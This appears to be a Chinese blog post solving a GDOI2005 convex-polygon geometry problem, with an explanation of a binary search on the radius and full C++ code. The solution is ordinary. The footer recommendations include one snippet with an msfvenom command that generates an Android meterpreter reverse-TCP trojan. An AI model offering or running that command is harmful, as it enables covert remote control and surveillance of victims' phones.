\(\text{Problem}\)

很久以前,在世界的某处有一个形状为凸多边形的小岛,岛上的居民们决定建一个祭坛,居民们任务祭坛的位置离岛的顶点处越远越好。

你的任务是求凸多边形内一点,使其与各顶点的距离中最短的距离最远,点在边上也可以。 这样的点可能有多个,你只需输出这些点与各顶点的最短距离。

\(\text{Solution}\)

非常经典的题

以答案为半径做圆,满足圆心到所有点距离大于等于半径

考虑二分半径,判断圆心存不存在

枚举任意两点,考虑分别以此半径做圆交出的点(选取内部的点,叉积判断是否在内部)

如果这点没有被所有圆覆盖,即这点到凸边形顶点的最短距离大于等于半径,说明圆心存在

算交点用相似,如果没有交点考虑其在边上交出的点一样判断

精度很神奇,不要用 \(\text{long double}\)

本地过不了数据1 \(OJ\) 上却过了?!

\(\text{Code}\)

#include <cstdio>
#include <algorithm>
#include <cmath>
#define RE register
#define IN inline
using namespace std; const int N = 105;
const double eps = 1e-8;
double area;
int n;
struct Vector{
double x, y;
IN Vector(double xx = 0, double yy = 0){x = xx, y = yy;}
IN Vector operator - (const Vector &B){return Vector(x - B.x, y - B.y);}
IN double operator * (const Vector &B){return fabs(x * B.y - y * B.x);}
}p[N]; IN double sqr(double x){return x * x;}
IN double distance(Vector a, Vector b){return sqrt(sqr(a.x - b.x) + sqr(a.y - b.y));}
IN double Area(Vector a, Vector b, Vector c){return (a - b) * (c - b);}
IN double sum_Area(Vector a)
{
double res = 0;
for(RE int i = 1; i < n; i++) res += Area(a, p[i], p[i + 1]);
return res + Area(a, p[n], p[1]);
}
IN int isIn(Vector a){if (fabs(sum_Area(a) - area) <= eps) return 1; return 0;}
IN int OK(Vector a, double r)
{
double res = 1e18;
for(RE int i = 1; i <= n; i++) res = min(res, distance(a, p[i]));
return res >= r;
} IN int check(double r)
{
for(RE int i = 1; i <= n; i++)
for(RE int j = 1; j < i; j++)
{
double d = distance(p[i], p[j]);
if (d > r * 2)
{
double k = (p[i].y - p[j].y) / (p[i].x - p[j].x), x, y;
y = min(p[i].y, p[j].y) + fabs(p[i].y - p[j].y) * r / d;
if (k > 0)
{
x = min(p[i].x, p[j].x) + fabs(p[i].x - p[j].x) * r / d;
if (OK(Vector{x, y}, r)) return 1;
x = p[i].x + p[j].x - x, y = p[i].y + p[j].y - y;
if (OK(Vector{x, y}, r)) return 1;
}
else{
x = max(p[i].x, p[j].x) - fabs(p[i].x - p[j].x) * r / d;
if (OK(Vector{x, y}, r)) return 1;
x = p[i].x + p[j].x - x, y = p[i].y + p[j].y - y;
if (OK(Vector{x, y}, r)) return 1;
}
}
else{
double w = sqrt(r * r - d * d / 4), k = w / d;
double dx = (p[i].x + p[j].x) / 2, dy = (p[i].y + p[j].y) / 2;
double x = dx - fabs(p[i].y - p[j].y) * k, y = dy + fabs(p[i].x - p[j].x) * k;
if (isIn(Vector{x, y}) && OK(Vector{x, y}, r)) return 1;
x = p[i].x + p[j].x - x, y = p[i].y + p[j].y - y;
if (isIn(Vector{x, y}) && OK(Vector{x, y}, r)) return 1;
}
}
return 0;
} int main()
{
scanf("%d", &n);
for(RE int i = 1; i <= n; i++) scanf("%lf%lf", &p[i].x, &p[i].y);
area = sum_Area(p[1]); double r = 0;
for(RE int i = 1; i <= n; i++)
for(RE int j = 1; j < i; j++) r = max(r, distance(p[i], p[j]));
double l = 0, mid = (l + r) / 2, ans;
for(RE int i = 0; i < 60; i++, mid = (l + r) / 2)
if (check(mid)) ans = mid, l = mid; else r = mid;
printf("%.3lf\n", ans);
}

JZOJ 1082. 【GDOI2005】选址的更多相关文章

  1. codevs 1082 线段树练习 3(区间维护)

    codevs 1082 线段树练习 3  时间限制: 3 s  空间限制: 128000 KB  题目等级 : 大师 Master 题目描述 Description 给你N个数,有两种操作: 1:给区 ...

  2. codevs 1082 线段树区间求和

    codevs 1082 线段树练习3 链接:http://codevs.cn/problem/1082/ sumv是维护求和的线段树,addv是标记这歌节点所在区间还需要加上的值. 我的线段树写法在运 ...

  3. 【hihoCoder】1082: 然而沼跃鱼早就看穿了一切

      题目:http://hihocoder.com/problemset/problem/1082 输入一个字符串,将其中特定的单词替换成另一个单词   代码注意点: 1. getline(istre ...

  4. codevs 1082 线段树练习3

    1082 线段树练习 3  时间限制: 3 s  空间限制: 128000 KB  题目等级 : 大师 Master 题解       题目描述 Description 给你N个数,有两种操作: 1: ...

  5. [NOIP2014] 提高组 洛谷P2038 无线网络发射器选址

    题目描述 随着智能手机的日益普及,人们对无线网的需求日益增大.某城市决定对城市内的公共场所覆盖无线网. 假设该城市的布局为由严格平行的129 条东西向街道和129 条南北向街道所形成的网格状,并且相邻 ...

  6. NYOJ题目1082买新书了

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAsoAAAI5CAIAAAA38ougAAAgAElEQVR4nO3dPVLjStsG4G8T5CyE2A

  7. 【codevs】1082 线段树练习 3 <区间修改+区间和>

    题目连接   http://codevs.cn/problem/1082/ Description 给你N个数,有两种操作: 1:给区间[a,b]的所有数增加X 2:询问区间[a,b]的数的和. In ...

  8. 【BZOJ】1082: [SCOI2005]栅栏(二分+dfs)

    http://www.lydsy.com/JudgeOnline/problem.php?id=1082 题意:n个给出木板,m个给出木板.可以将那m个木板锯成泥想要的长度.问最大能锯成多少个给出的n ...

  9. 基于K2 BPM的大型连锁企业开关店选址管理解决方案

    业内有句名言:“门店最重要的是什么?第一是选址,第二是选址,第三还是选址” 选址是一个很复杂的综合性商业决策过程,需要定性考虑和定向分析.K2开关店&选址管理方案重点关注:如何开出更好的店?在 ...

  10. HDU 1082

    http://acm.hdu.edu.cn/showproblem.php?pid=1082 这题开始想复杂了,error并不包括表达式本身不合法的情况 我的方法是遇到右括号就开始处理栈,如果开始最外 ...

随机推荐

  1. 6 STL-vector

    ​ 重新系统学习c++语言,并将学习过程中的知识在这里抄录.总结.沉淀.同时希望对刷到的朋友有所帮助,一起加油哦!  生命就像一朵花,要拼尽全力绽放!死磕自个儿,身心愉悦! 写在前面,本篇章主要介绍S ...

  2. chrome设置socket5代理

    利用自带的参数命令打破一个死循环. chrome可执行文件 --show-app-list --proxy-server="SOCKS5://127.0.0.1:1080"

  3. 2023年 DevOps 七大趋势

    随着时间的推移,很明显 DevOps 已经成为最高效的敏捷框架中的无人不知晓的名字.越来越多的企业(包括各类规模企业)正在采用 DevOps 方法来简化其运营效率.DevOps 的新时代趋势已经见证了 ...

  4. 数电第11周周结_by_yc

    Lab7_时序逻辑验证 一.简易电子时钟 功能描述:   设计一简易电子时钟,支持时.分.秒显示,其中HEX7-HEX6显示时,HEX5-HEX4显示分,HEX1-HEX0显示秒,假设进制为:18秒= ...

  5. Flink SQL管理平台flink-streaming-platform-web安装搭建

    文章都在个人博客网站:https://www.ikeguang.com/ 同步,欢迎访问. 最近看到有人在用flink sql的页面管理平台,大致看了下,尝试安装使用,比原生的flink sql界面确 ...

  6. 【SQL进阶】【分步写、联合各自排序、TIMESTAMPDIFF时间比较】Day04:多表查询

    〇.内容 时间比较2-2 联合结果各自排序 查询列和GROUP BY 一.嵌套子查询 1.月均完成试卷数不小于3的用户爱作答的类别 自己的答案[错误]: SELECT tag, COUNT(A.sta ...

  7. Windows10下python3和python2同时安装(三)VS 2013配置python环境

    Windows10下python3和python2同时安装(三) VS 2013配置python环境 说明:本文基于python2和python3同时安装之后,对VS 2013进行配置,下面有些地方文 ...

  8. 深入理解 MySQL 的事务隔离级别和 MVCC 机制

    前言 我们都知道 MySQL 实现了 SQL 标准中的四个隔离级别,但是具体是如何实现的可能还一知半解,本篇博客将会从代码层面讲解隔离级别的实现方式,下面进入正题. 事务 考虑这样一个场景:博主向硝子 ...

  9. 监控Android(生成木马)

    生成木马: sudo su msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 R ...

  10. Nmap安装

    Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具.它被设计用来快速扫描大型网络,包括主机探测与发现.开放的端口情况.操作系统与应用服务指纹识别.WAF识别及 ...